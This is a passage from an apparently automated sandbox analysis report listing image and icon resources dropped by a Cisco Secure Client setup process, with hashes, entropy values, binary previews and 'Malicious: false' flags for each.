Preview:	.PNG........IHDR..............}\.....gAMA......a.....pHYs...........~.....tIME........w.e....tEXtComment.Created with GIMPW.......tEXtSoftware.Paint.NET v3.5.100.r....gIDATHKc`...!@........0.a\|Rh..r....0E0>)4.}=..t.....0W....x}......a.`\|R...dTw..........B.u..-.z...8.C..^...Y.......IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-GML4B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12068
Entropy (8bit):	7.961027992023309
Encrypted:	false
SSDEEP:	192:ukEiqZZQXKSmwL4v9UIqsQ8Dfn0Mv2RYkTONqT0oHrkbthyZpLpXrCAfrdag8csp:uViqZZQXKSmwL4VXJhsYOTynyZpNmAjE
MD5:	7E7FE0627B08E07FEE4ED11C41A9BA59
SHA1:	E3C6036975AD146D70AE76158EEBD3D8109B0C7F
SHA-256:	019183BF0C9A25E37A7EB74ABB3DC7848C1A729BBDA1F557E26A5322DBAF11E2
SHA-512:	30E68B932388A840F92D45AA97C3B9CC012C28F36DE93D315B107C7223DCBFBF94A54A09492E930642555828FCB3F6CA519F75BE6EA451DFF7B1D2F5B8FA2472
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx...l....q.a_...n`.p.l..].!.X.cmb.T{W/8.6..6......%".T..yO)"...e!..5....[.+.;..y....RX..s..@[.&.6..j...1..sf..93..I.....;.......(F...-5>P....(.`..T\|..P...}.D.H....R.L..8.....1...$.....A.X?.sb..;@...h9.wJ.;._.)eM........Ss...........4..o.............P[j.E.~.TE..0.......ro../.PA..SjK..8A.Zs..eE..X.!...<Y..Z.rr\J.}w.....?e......`..X.c. %......p.z4M7.PC........&.6.......".1c..>...^.d..S.9../s..O... ..4.j.]S<.>u..v.d6..1..S.@.N.y..=...;...9v..=...wB..Y...%.D..$..b...6u....wM...#......w..-.g...F!...he.O..r.2.....Qj..{D.\.we}.....D. ...(...$Z...?.U......r3k.o.'R.M........s....W..h.Hm.q).U.Z...}w....;...'v..I...QO.....Q1k:.h%...Ws...UA....!7....w.f].G..X...w..^...VBT$..pQ.,`-Ms.0.H.C.......d .2....\."...."G.=...{:Xgw..Rj...&.(.e..-C..+.(.)......a...n...'.I..@...8b.'.v."..r.BF./.....`...1.$Z.T$.WE.Y5sWes.:......}:./.y.DK..R.j.B.....YQ..X d\|a.^.......F.D+.\|..(.....KZ....(.,8~...,".y.H=.! ....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-H9E8S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	31702
Entropy (8bit):	7.968827949628217
Encrypted:	false
SSDEEP:	768:j9rxAm3IyJR5xmDQXMUg0HvpXOQFvgMN/2iHxr:j5X5AVUjEQ9NVRr
MD5:	D7A6605937F7BE6861ED243FEED7B2AF
SHA1:	CE9EFBCE4C470923C242615A0B53E775800BB031
SHA-256:	331F0FB3EAA0F38927DD0B350A6D92B8E18ACFDF64CBC597B470EF6E4D055C81
SHA-512:	A9C1C5503D9987245389C762ECDA0F4803BD84CC3D47534731F9194BB33DF93C7FEA6569D6E0BE03C4A59551B4F8021AA129A38FFF653FEB81B5DBF065438FCF
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx...l]...2j...J.H......vf2e..8....Tu.4j...p50E...P.8.+.k.. Z..%.F...#..5..SR'.B{....d:p.;.7P.Nf........d.}..g.[k....#.....g.....%H...!..~.T.^...'&&..2>>./...A......e.EX....v....e...nb.....E..(}yO......O.ttt.:...8...%k...rW.....h$..^.L..<..5.V..{..7...,.#..r..x...$...$..H\|!...A.^.4.$..Ht!t_. I.J....bXy!$E].$...(."..X.B<..c....i7...p!.....X.s.\..^...............~....>.6^..8;...D..>./.hs.Q..u1f..hii)...I......q.....8s..F...0..i+\x<...A..22lZ..&x....y%\.....7..b.iTH...z..1....G.$........1a.d..b..Kvh...V...<"1.lG..p..?.B....)q...q.'o..6mJ..G.y.....=.....1...R.8.....3..7.tc..l...../....L...Fs?&Q....G?J}PI~.v!.......Cm..P.;....T..=....%........^.s...~x.~....}.5.\...o..}]..s.....2......?...-?....tDW(.b.K.X.o.........;.w...w.........\..0.o..N.......^...7..........d..].........{....+..o...... '...).....]..n.G...+....Q...IvB.......x..y...^..3.sm..I...Hb.]g..-.g ..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-HC590.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 5334 x 1067, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	83111
Entropy (8bit):	7.138058183615623
Encrypted:	false
SSDEEP:	1536:VC5Kuc25xWuSyREGUa7eZoQZBrMd+Wdl6P1NsDO1U:VC5Dx8yRTeBZW4k9DOu
MD5:	E9352AD002DC71C84B605700A6684C46
SHA1:	312487A0D0778CB57EBC0B5ABBA29CB6C31187FA
SHA-256:	55E9F9561425D5B5994506DB5932FF3C87ACAD729BB4CC043EE99EFB85484E0A
SHA-512:	CAC779DCB625BF8C8736686407BB81DB140434FB16DC98144E113F2822AB3A907A7E7CA63751D73604B11EF0F0DFCB6979833DE75B160542CF7C969F39533867
Malicious:	false
Preview:	.PNG........IHDR.......+........%....pHYs...#...#.x.?v.. .IDATx...kn...`..^..#?N...$..d)..c.5d/..ASy.q$Y....y...3.D........................................................................................E.....GW.....P..Z.nC........0\./_Ow?v:...`..x.j=..9.......@....5q....P5.&...hl.....&...hl.....&...hl.....&...hl...M..\v.......P.{.g.h}.;2.@...e#........Xr8.n.....s.er..<.4...fNi......H3.r:.....?u$`'.~.~...dsHN.<.s}.0.qy...x.A<..}7L.y....}^~...].w([U.M`.5..1... .pB.F.>IMc..\|..y.].......7...^46.a.....p.c..-...{.`.....,..#x...>I.:......a.........\|M.-..k..7:...;...C.........?>~>..)........o9(O.i.'.{.n..~.q....2Q.....W&.....R....Il.....;..~kH\|_.R......O....2..}jp....f.1!%..OY....n...F.lfL....W....'.CH,.....g/..y>>~.+j...$e........Mb..;.........Z...A.:.~...Y\|.o1P.A.$...)....~....S;.RR..@...W.&.}.q=.N...:[.C1.5.=...r.U&+._.z.O~o........m......}..t.vcR....u..{...&P..7.......c<....15.?u..5..U.c..........:..N.MhPw.=..K..y..>vc.....{;....F>..k......,.-..N...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-HG03D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.7071518309363354
Encrypted:	false
SSDEEP:	48:rtQAZDlpb/oRjRgvFBvOcVYVWZahUNZGIJMWz6izv2dBtj33xNCpK0v6wxrf0Dgk:rt/Md6vFBXKWIhUNky4X3IrvX1sDgro
MD5:	1C98B43E6778943A5358BE61A90BA74C
SHA1:	5267802FF8108EA1709CFEB6C156A7AA5D6140BC
SHA-256:	BCE250F3AEA36B7A76C5D4D73B03CE83A7988BBFB6F6AA69C92475C39DABC22E
SHA-512:	7C10E7FE2D1A476D0A923937597B95D505FBE6978ED4518A99F1FC391CB6281CE8A0F94F3772C83ABAEF916B6834BB5490833BF60BB3B9FA67D61CA0B7C16015
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................P..........!...................................................................!.................................... .....................,3..................................................................#,.............................................kY.M'..M'.. %..5C..........................-9..-9..........................(2..0;u.......................0............cB+.M'..M'..M'..X5..z]J......y.......................1=..1=......................[q...'........................0.........xh.M'..M'..X5........................#......................................................DU................... ........nP:.M'..M'....w..........................,0..az...................'...'..................7F..9G.............................z]J.M'..X5..............................................................................\|....#.................................M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-HIHBP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13810
Entropy (8bit):	7.9753795366170355
Encrypted:	false
SSDEEP:	384:9UvTt4Skm1eC/3ndqwLk01JZ1GUhDYLk6pb2IloPTCDnnd:9qeSXeC/7TYpb2jSnd
MD5:	276699732D96B797E30C6092A6B9A3C8
SHA1:	9430D64617EC4CAA2895D0755824E556568FDC70
SHA-256:	217DD0FA6E750A6E5E422744ED0650204519942130254825CBE87B16E5E5AAAD
SHA-512:	884D6A9A105697FD5F4F4032FA14C967826937D42E6B88FD6D8DECC3B03AE0296588CF1D093673765C16CD65872405F52986303DF2453D50DDCA6F540082DA0E
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x....B.R .w4..-.p-b..o".....`U.R+.+..=..<....J.b...."..U...ATD.....R....G. ..Nf.k.^k..k.%........3..o}..T...y........Pkt......r..wj_.~z...^....l\|2....L._...>.I.../..^...N.6.$...:Q.N.iK.........V...X%N&.[Q.-c'....W.p,~U..-...S.....N.z~.w. .....;..<..>.?..._oK....w......3..[U[.....o.?..U.>.[...lR...D...u.w.../n.Y...{.x8O...M,......;.d<..1.._7).D&`.....N..3jx.g.S.[....N.n#..^?H...x.'.^}.i......_H.....I~1..;.S....;;.......x.w...............~@oly.;....F..]...i.?.P.6m..Q...#%.%...$<.p..W]...'.A....._uL;.o......_~.>........L..O.}..b....I.Gae.n....U..Y.6m.....+.-4.;.].............p...A..g.../...N..+(.$...n..S..&.....\z...]..y..v...?[...=.NZ.\....#.J*f.q`#..H..W.45.V.{...G..<IT..'K.f;Q.Vz.....u7.W";AT....1.-_.$.'d...-.<.c^o%::..L.%N<.+sLVc,.q.^'..i5&/.6.....i*...Y.N......4$.!(...p1..6U..._.8....#{g.A..@.R.#..)........i............ ..F..S.......Qf.~..u..9......M..cN:.7F'..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-HOLE5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3881
Entropy (8bit):	6.749191813135782
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBQgI+P:iXHt+JcNgOSiS4XsAYNpf2ESNtgB
MD5:	C09256A999756AFFAE49A6E4346D910C
SHA1:	95158F9717019700B626D2A675F17C50853E436E
SHA-256:	D2913B404D604DD9F61952E0539DA5FCD742FC7E87F30CCC4263303DEC5F43B0
SHA-512:	D2DD40D4A8FBFEC4DFB2EF285880F103CB50D0AB461731915C15D8A4061E77C70513658419FF72925D90741FBD75079899E5293A107B7361B2142358534C94EA
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-HPRA5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13633
Entropy (8bit):	7.975971786407776
Encrypted:	false
SSDEEP:	384:6MOtUX/uOlpyiGD809Mt039VytL65doCQc:1NWFl809Mt0j0Lap
MD5:	9C88E64458F50120E89167040B55A41C
SHA1:	8A43DFC4B9ED2CB460A024562405302468185A09
SHA-256:	E1E3C1C59B21F0F49EC9DB747C14760EC2068394F739A2E456F20A25E40AD24D
SHA-512:	7EACCCFC904D52AA13214757309858F4083F5CD8C06D6442F3C3F361A2AD01865C4A816240F3B87B63052F33AB96EB08F0C504A1CF0110C569D64350948B3BD8
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx..}.t.......KT .J.(..U".T.`..+.U.D...`.....G....V[.&.....m.JX7...A.>..G....^4....8..g....=..I.[...9gf.\|...c......+\.>..8^E.M=..O....w\|.U......'..5G.A...].......h.......7'.....3=9.Uk.Hi..9Q.9o.E.^..F.^.......+I.......8W.E....w..~...&..?.............7..-..FAO.S.......>.A..:.....d.Z.(.=.{Qy!.Fz....q.N.p..+.....\DFp.c...x.y.....u.7.&................kg..{.g.../...EL .......E..-...#.#.....f$g.v"........Igup..E.,b:f..Lv..#/&..oM.l..G..z^Q.<...f.^]{.[.g...q.X...._.....s.d..(0"..<...V.8q....CM..N....yb...{.i....d....Q....c...{.z...x..D.Mi....<'...#c....G..F.......CM).9.'...n...Y...zz..q..l.;.j.w...!.F..'&........!z\s._.j..u.Q...].k+...(...R'.H..B....(x.R'.H...-.N.8....\|_...!.Ks.>9.yf.^@..P.O..../..^..#.j/.......w....c?op.C2q..:...$#=A.n]..i..y.'....tR.D...5...T.DO.#..U...}"\|\..S.qH... .H[..<..]..V...u(.0O:2.X. .....>.S\.?.$...Ez.....$..<.. .=..paR.\|...8..T....]......./...IY.......O

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-IBGHG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1260x1024, components 3
Category:	dropped
Size (bytes):	399779
Entropy (8bit):	7.9639437199622165
Encrypted:	false
SSDEEP:	12288:NZGJOTaTKegfZjGiFfyHLyforThgWTZcWX1nQ8WMsETaVovwV:/JT6g5JyjrThgWTZvQ8lsvVnV
MD5:	DF0BDC3CDA98B3BE333FEB2A2770002C
SHA1:	D0FED726183EBEA0B535EE06A66805E7BF3C9386
SHA-256:	FD3413367D94F80DC520390C0971F9AA44003C9C6F32BCBC3303A6682D0B0175
SHA-512:	46F9DA519D7D8E1D192D9EB6082FBEAAE164EC58C97C22BB576B8DEEC387B57FFC8CF8BF75412C8FD2B30B9962B96070A679F2E26558099B5DB4411A59E0386D
Malicious:	false
Preview:	......JFIF.....H.H.....,Photoshop 3.0.8BIM.........H.......H........D.http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/". xmlns:pdf="http://ns.adobe.com/pdf/1.3/">. <dc:format>image/jpeg</dc:format>. <dc:title>. <rdf:Alt>. <rdf:li xml:lang="x-default">Ba

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-JTMMQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 8 bits/pixel, 32x32, 24 bits/pixel
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	1.0422788649872297
Encrypted:	false
SSDEEP:	12:xh4r3rEO9SEEEEEEEEE2888888888Bsff:xKfgH
MD5:	B4FE215E5858B187A041DEABB2E1CB04
SHA1:	E8F16887E8BFFF243EB1AEAAF21B382CD0DFD9EE
SHA-256:	9FC38B41A0D11FF64348F0E125692091D478E6E4F1C368A4E01863D49F87BB87
SHA-512:	371FEA20A067929B21543490CE56C370BE8477B40630D2EE0BA613FE91A485D083DCB0FE4B0E76465576935F0311CC65832B48B3487F5C2B83ABB4E8B9AB4270
Malicious:	false
Preview:	...... ..........&... ..............(... ...@...................................BBB.XXX.cbc.nmn.yxx...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-KBCPC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	421
Entropy (8bit):	7.268682924293009
Encrypted:	false
SSDEEP:	6:6v/lhPZqI9EI0An9BZXg/f/8q+psYee5BtD9n1XOoLZNxdj8hVHPHQHEPisVp:6v/7kNDC9EoRtBthgwTSrPXPis7
MD5:	E36649875C18E56654D70D70405A64C4
SHA1:	F5AFE1F32062F5F8F3C036BC4C41FD4056ADE29F
SHA-256:	794A18D1D80F273108935EF4A9F1B1449EFD80E79DFC1546A410998CB2121933
SHA-512:	2EAF13B01B63712C50D5FAF9B5785468BC8444EDE766F9F89FDECAEAC5CE003A7962B7451607AA23064E5EB4E2DBDB3568713681BA778AFE1CBCCC8DA07426B4
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....WIDATH..U.m.0..".`...n@&..N.J..e.Ke.t.....x.2.#T.v...Z=)R..w.>.3r..~.....k.k.).q....^.....`.k..'.tG.......X.:Kf..=..7-........Md..`.....L.H.{..K.%D.~.i.$.F..z....]Q....Y@.f..D...C\|j.!\gi...q..R.1...2..K.....=..,..%...p+.(iW....#......r....N...=........C.8[..\<.a....2[n....B, #...u.09......a...;........._U.)K2...pb.LW...~^.......hSX.....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-L26HS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4455
Entropy (8bit):	7.908038022091361
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTIaLT1ZWqwPFR34mH:TSDS0tKg9E05TBZWqqPH
MD5:	2E3C536FBC9DDA9D0DA7DD408FA3D69B
SHA1:	4056553645ACFD51D5BB1E74623ED9938C0F5717
SHA-256:	D86F0CEDDF46C275DF0FC6CF0FE70852DD270D0BC35355CC6B30CE7DDD6EC2B7
SHA-512:	AB3237097BBA665CC1B22F4A4C280C6141E8266EA9D4A569C3B53D4401E00F4E1E0F7944A172C16CDD455AF8EAF3EAA9FC43A08EFDFE7844689BFC7B4CB870F1
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-M1MD7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2226, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	76349
Entropy (8bit):	6.476357962983417
Encrypted:	false
SSDEEP:	768:FVQKRdUmqPkx3KW18PXAvBXZc1cgOdRAXYg3w9pxiwzL6s7UJrwu4be/NG0Zpnel:FVT3K1PQx32w9pUwCKu4k5Tne54DD+
MD5:	FC85657D1B695A1BBF554859C7073AB6
SHA1:	DE271697015CD2BE237C3F112A2FA8391C7FE0A0
SHA-256:	734ACBF5F095BFC5092CCDE8C2721477C6B6F8C4BEC6E14F7F6E11012DC648F9
SHA-512:	AD8DA7E48ED1288FC24B7CE87B7F5557D1055C141B385E8BDC37B0BF56FF1BFFDF3516759DA613BD066EEB64C25C43D0D1609C3EC5AF7900081BA9083BF4361F
Malicious:	false
Preview:	.PNG........IHDR...............:z....pHYs...#...#.x.?v.. .IDATx.....H. Pi....`...`....<.`!d.`.........X.k.x@y.....KM.{.T.H.Dt..4\.2.....................................................................................................................X.V.<.n........a.9\ ...Af[.7K.C.q.C.K....T..P7.N.k...P.S..O...5..'....1...<8[.8$......@....A.(..!......@....A.(..!......@....A.(..!......@....A.(...j,.....}.q..}...ZU.....y.......c_..U...\].....k.2\.}.j..V7........K.....C.\|..{.p^/.m".'.....q...>..J..}wJ.v.....A.-O=oA%o.J.......SG.H@.h[.X7\|....P .O..%.P..B@. .... .....P..B@. .... .....P...~(g.k..KjoW...zt....v....('..........2..3.}k.... .-.7.:ts-h..u...X...,w..V..;..i.3.!.<.>..mg..{7>C@....Ye...A@...rS3.A@. .... .....P..B@. .... .....P..B@. .... .....P..B@.t....y......!G...9gg...B.../g..;.%.\|p...S..5....&.o'.......6.('8.BZm?...}..T.S:.Z.<..:v..=.5.....}ku.D.3.C_.......F.r9....*.zG=.....c....q.......j?....r.\.G...[^..!......@....A.(..!......@.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-M80CE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.612237043911612
Encrypted:	false
SSDEEP:	96:SPEyydQzC5enoYfFMdIDhjdmrEEN4kbGg2o:SFS5eno4FMyADNHx
MD5:	CAE552335F760EE1FF87D686F972BEB8
SHA1:	676A5070DDD6218C274FE01608754D06E735558A
SHA-256:	615057C1B8C472DDF3D6B48284DB764F3F4FE8A159FD479B96C401D0BEE82674
SHA-512:	876B7077A8DF9C900BCF1CF8D5AF98A3B84A7D31412DEE05CAF76ACA215B771EFD5CD5E8225175E822BCE24239A57F841D1DDF633B3C68599D0C401AA98BBDF9
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ..............................................................@...@...@...@...@...@...@...@...@...@...@...@...@...@...........................................................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................................................................P.....@...s...s...s...s...s...s...s...s...s...s...s...s...@.........P.................................................................@...s...s...s...s...s...s...s...s...s...s...s...s...@......................................................................X5...@...s...s...s...s...s...s...s...s...s...s...s...s...@..X5...........................................................xh.M'..M'...@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..M'...xh..............................................xh.M'..M'.......@...s...s...s...s...s...s...s...s...s...s...s...s...@..z]J.M'..M'...xh................................P........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-N9OSB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10811
Entropy (8bit):	7.9725003667897125
Encrypted:	false
SSDEEP:	192:xGW6GZ0zrJJ+M0jTsGzV2jysFfqybOB4twma2iNrHbC4ussE84u:xMZUTsGirFioOBg49VvusV84u
MD5:	A805DED6582E8382AB22EAF761559ED7
SHA1:	2C5C4C718AFC5566FB5D6B458CAFB04AC96B6A13
SHA-256:	393968B4F0F62527169D0D3DB56D756DE094D6F91252536BCD08770B83C98446
SHA-512:	F47219CE8D631FB79BF9FF67D24B57253A5F56E2DF98A35C5769D84A101E6E6ADA66D2B2E1FA6B1141087060200F97E48EA01B99CBE9B81FFA727E76ABA07713
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx............`....L)VT.U..Id.`....jt.$.M...`m.........+.T4..8.....d3...^..R1.Q.K.5+. [.....sN..}.q.._...........$+.D..Rm.O..`./..=..?"........n..(.T.6.I.......sg\|......K............x...p'.V.....6.........w..d..v...S.Yiu ..xf....!7."t.0........F.;u...3.y...........\...Yy..g...w...........=..J{.7..G.<..>..I."........Lwv..s..V..[.;.v0v...].....o............'..e....9=....?(........g~~O.@..........\|<.A..t..o.....f......K.z.'...}Fp.... ..9x.......U...e..m..;...R.@x..^...Mas.Y.=.?\..{.us.. .Z.o:..L..q.Q.>.?.........1ET..5.\|....`.P...AF6_.R\|.=.{......B......w..s..k.%3.....3R....3H....&._1.L8.,ydq;y.c....6..7B..+.8..l.'=HR...Y.!j..<...=.>.<.x .w..M..._,.x0....q.,.LB. ....6.yxh....\B._..\..E..k..}..o}....[.6/...0z1.......v.D.s3..L.LV..%.MJ$;P.v.\.=..L...J..$......./....H.....x^.m...l/-.....<.-,..e..cD...;>g....0..Z...n..@.0BZ.3..x......,.9..?}.....d.....H...#_.....S2QZ.._

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-NL3PE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29327
Entropy (8bit):	7.967732566337996
Encrypted:	false
SSDEEP:	768:kfiUT6EuEADj9MKT8NYMSNQ0Ksn1GStodN2AG1:kfTGGYRKK1GStodNw
MD5:	A0FE71E2020412BD9FFEB2712628DAD0
SHA1:	33EBF21B46A1742A46DEEE2EADB0F714B4F64959
SHA-256:	3AF5729F9A5902B409FD0D79BA1B04AF2ABDB25BCB4750F235BD61DC2EEE7C77
SHA-512:	D4886F29044F3B6A1FB900AF1973362B6822085544ED65877B2F555B360E494912AAFFDA58E49C8A91ED541F9D18482A1811C9350074797416CC8ECD06CC1863
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..]le...V...>H.mE .1.[.0#Q.6.%=..l.....ln.sC.8H#.........F..W5.-."vq1..`.:.b4..$H'-.]3.n.d.i..A.].....G..6.^{}..{=?ic...^{.w....?.cV..;B.........4[..n....r....boo..9c.9..<.(g...].{..]O....OY.b.cqq./x..9u.Uk'...R:...'.....=.G'''...t.....>..4...'...h...."...K..../7z.MOF....'....#...>.\|...S.j...3g&...~..1.:.:WB.uWJ..R.dT...'!K..rF.&E...^.......Z.........A...E..........`N...s.b. Wx..)[....o'B....}.E+c6..!.._.+Z.......R.B..G..8..D....._..N.....lle........./'#....W..]...........`0......?.^....t.......g?....j....C......KE]..z...P..W.k....PWF..aUT=O.+.7.]...QA..uz.c.D.IOF..w..hx.E.{pp...1Y..-`{ELN..}....7.0...._..Q.6z....MN...Y../..+...'B.W.s.:?....[.NDBr2._..;;..U(..!......I.7.....k..W_.R..j...'...A.......e.o.\.tkm._...S,....'.....].>....dL.z.\.ml...15u.....6^.6w.:.:.U..e.....A;.)...f,,,.z....{Oi9"....$.V.p....h...L.7.u.d.%...1..o..x..J...N5..;...Z...y.I..hj..&."q.O..2..-1.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-NOSU9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	11747
Entropy (8bit):	7.9792800328394184
